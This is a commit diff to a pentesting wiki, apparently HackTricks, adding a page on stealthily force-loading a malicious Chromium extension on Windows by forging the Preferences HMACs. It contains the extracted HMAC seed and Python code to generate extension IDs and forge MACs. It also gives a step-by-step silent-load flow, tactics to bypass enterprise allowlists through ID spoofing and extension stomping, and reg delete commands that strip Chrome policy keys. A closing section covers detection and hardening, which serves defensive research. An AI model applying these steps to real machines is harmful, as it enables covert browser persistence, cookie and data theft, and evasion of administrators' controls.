Add content from: The Phantom Extension: Backdooring chrome through uncharted ...

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searchindex.js

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   - [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
   - [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
   - [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
+  - [Forced Extension Load Preferences Mac Forgery Windows](pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md)
 - [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
 - [Captcha Bypass](pentesting-web/captcha-bypass.md)
 - [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)

src/SUMMARY.md

@@ -692,6 +692,14 @@ In order to try to spot vulnerable browser extensions you could use the[https://
 node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
 ```
 
+## Post-exploitation: Forced extension load & persistence (Windows)
+
+Stealthy technique to backdoor Chromium by directly editing per-user Preferences and forging valid HMACs, causing the browser to accept and activate an arbitrary unpacked extension without prompts or flags.
+
+{{#ref}}
+forced-extension-load-preferences-mac-forgery-windows.md
+{{#endref}}
+
 ## Security Audit Checklist
 
 Even though Browser Extensions have a **limited attack surface**, some of them might contain **vulnerabilities** or **potential hardening improvements**. The following ones are the most common ones:
@@ -761,5 +769,3 @@ Project Neto is a Python 3 package conceived to analyse and unravel hidden featu
 - [https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-

src/pentesting-web/browser-extension-pentesting-methodology/README.md

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+# Forced Extension Load & Preferences MAC Forgery (Windows)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Overview
+
+Stealthy post-exploitation technique to force-load arbitrary extensions in Chromium-based browsers on Windows by editing a user’s Preferences/Secure Preferences and forging valid HMACs for the modified nodes. Works against Chrome/Chromium, Edge, and Brave. Observed to apply from Chromium 130 through 139 at publication time. A simple disk write primitive in the victim profile suffices to persist a full-privileged extension without command-line flags or user prompts.
+
+> Key idea: Chromium stores per-user extension state in a JSON preferences file and protects it with HMAC-SHA256. If you compute valid MACs with the browser’s embedded seed and write them next to your injected nodes, the browser accepts and activates your extension entry.
+
+
+## Where extension state lives (Windows)
+
+- Non–domain‑joined Chrome profile:
+  - %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
+- Domain‑joined Chrome profile:
+  - %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
+- Key nodes used by Chromium:
+  - extensions.settings.<extension_id> → embedded manifest/metadata for the extension entry
+  - protection.macs.extensions.settings.<extension_id> → HMAC for that JSON blob
+  - Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MAC‑signed for unpacked extensions to activate
+
+Simplified schema (illustrative):
+
+```json
+{
+  "extensions": {
+    "settings": {
+      "<extension_id>": {
+        "name": "Extension name",
+        "manifest_version": 3,
+        "version": "1.0",
+        "key": "<BASE64 DER SPKI>",
+        "path": "<absolute path if unpacked>",
+        "state": 1,
+        "from_bookmark": false,
+        "was_installed_by_default": false
+        // ...rest of manifest.json + required install metadata
+      }
+    },
+    "ui": { "developer_mode": true }
+  },
+  "protection": {
+    "macs": {
+      "extensions": {
+        "settings": { "<extension_id>": "<MAC>" },
+        "ui": { "developer_mode": "<MAC>" }
+      }
+    }
+  }
+}
+```
+
+Notes:
+- Edge/Brave maintain similar structures. The protection seed value may differ (Edge/Brave were observed to use a null/other seed in some builds).
+
+
+## Extension IDs: path vs key and making them deterministic
+
+Chromium derives the extension ID as follows:
+- Packed/signed extension: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
+- Unpacked (no key in manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p
+
+To keep a stable ID across hosts, embed a fixed base64 DER public key in manifest.json under "key". The ID will be derived from this key instead of the installation path.
+
+Helper to generate a deterministic ID and a key pair:
+
+```python
+import base64
+import hashlib
+from cryptography.hazmat.primitives import serialization
+from cryptography.hazmat.primitives.asymmetric import rsa
+
+def translate_crx_id(s: str) -> str:
+    t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
+    return ''.join(t.get(c, c) for c in s)
+
+def generate_extension_keys() -> tuple[str,str,str]:
+    priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
+    pub = priv.public_key()
+    spki = pub.public_bytes(encoding=serialization.Encoding.DER,
+                            format=serialization.PublicFormat.SubjectPublicKeyInfo)
+    crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
+    pub_b64 = base64.b64encode(spki).decode('utf-8')
+    priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
+                                  format=serialization.PrivateFormat.TraditionalOpenSSL,
+                                  encryption_algorithm=serialization.NoEncryption())
+    priv_b64 = base64.b64encode(priv_der).decode('utf-8')
+    return crx_id, pub_b64, priv_b64
+
+print(generate_extension_keys())
+```
+
+Add the generated public key into your manifest.json to lock the ID:
+
+```json
+{
+  "manifest_version": 3,
+  "name": "Synacktiv extension",
+  "version": "1.0",
+  "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
+}
+```
+
+
+## Forging Preferences integrity MACs (core bypass)
+
+Chromium protects preferences with HMAC‑SHA256 over "path" + serialized JSON value of each node. The HMAC seed is embedded in the browser’s resources.pak and was still valid up to Chromium 139.
+
+Extract the seed with GRIT pak_util and locate the seed container (file id 146 in tested builds):
+
+```bash
+python3 pak_util.py extract resources.pak -o resources_v139/
+python3 pak_util.py extract resources.pak -o resources_v139_dirty/
+# compare a clean vs minimally modified resources.pak to spot the seed holder
+xxd -p resources_v139/146
+# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
+```
+
+Compute MACs (uppercase hex) as:
+
+```text
+ext_mac = HMAC_SHA256(seed,
+  "extensions.settings.<crx_id>" + json.dumps(<settings_json>))
+
+devmode_mac = HMAC_SHA256(seed,
+  "extensions.ui.developer_mode" + ("true" or "false"))
+```
+
+Minimal Python example:
+
+```python
+import json, hmac, hashlib
+
+def mac_upper(seed_hex: str, pref_path: str, value) -> str:
+    seed = bytes.fromhex(seed_hex)
+    # Compact JSON to match Chromium serialization closely
+    val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
+    msg = (pref_path + val).encode('utf-8')
+    return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
+
+# Example usage
+settings_path = f"extensions.settings.{crx_id}"
+devmode_path = "extensions.ui.developer_mode"
+ext_mac = mac_upper(seed_hex, settings_path, settings_json)
+devmode_mac = mac_upper(seed_hex, devmode_path, "true")
+```
+
+Write the values under:
+- protection.macs.extensions.settings.<crx_id> = ext_mac
+- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
+
+Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.
+
+> Implementation tips
+> - Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues).
+> - Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry won’t activate.
+
+
+## End‑to‑end silent load flow (Windows)
+
+1) Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts)
+2) Create extensions.settings.<id> by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.)
+3) Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134)
+4) Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges
+
+
+## Bypassing enterprise controls
+
+- Whitelisted extension hash spoofing (ID spoofing)
+  1) Install an allowed Web Store extension and note its ID
+  2) Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
+  3) Set that key as manifest.key in your modified extension to reproduce the same ID
+  4) Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed
+
+- Extension stomping (ID collision precedence)
+  - If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)
+
+- Neutralizing GPO via HKCU (requires admin)
+  - Chrome/Edge policies live under HKCU\Software\Policies\*
+  - With admin rights, delete/modify policy keys before writing your entries to avoid blocks:
+
+```powershell
+reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
+reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
+```
+
+
+## Noisy fallback: command-line loading
+
+From Chromium ≥137, --load-extension requires also passing:
+
+```text
+--disable-features=DisableLoadExtensionCommandLineSwitch
+```
+
+This approach is widely known and monitored (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is stealthier.
+
+Related flags and more cross‑platform tricks are discussed here:
+
+{{#ref}}
+../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md
+{{#endref}}
+
+
+## Operational impact
+
+Once accepted, the extension runs with its declared permissions, enabling DOM access, request interception/redirects, cookie/storage access, and screenshot capture—effectively in‑browser code execution and durable user‑profile persistence. Remote deployment over SMB or other channels is straightforward because activation is data‑driven via Preferences.
+
+
+## Detection and hardening
+
+- Monitor for non‑Chromium processes writing to Preferences/Secure Preferences, especially new nodes under extensions.settings paired with protection.macs entries
+- Alert on unexpected toggling of extensions.ui.developer_mode and on HMAC‑valid but unapproved extension entries
+- Audit HKCU/HKLM Software\Policies for tampering; enforce policies via device management/Chrome Browser Cloud Management
+- Prefer forced‑install from the store with verified publishers rather than allowlists that match only on extension ID
+
+
+## References
+
+- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html)
+- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py)
+- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile)
+- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
+
+{{#include ../../banners/hacktricks-training.md}}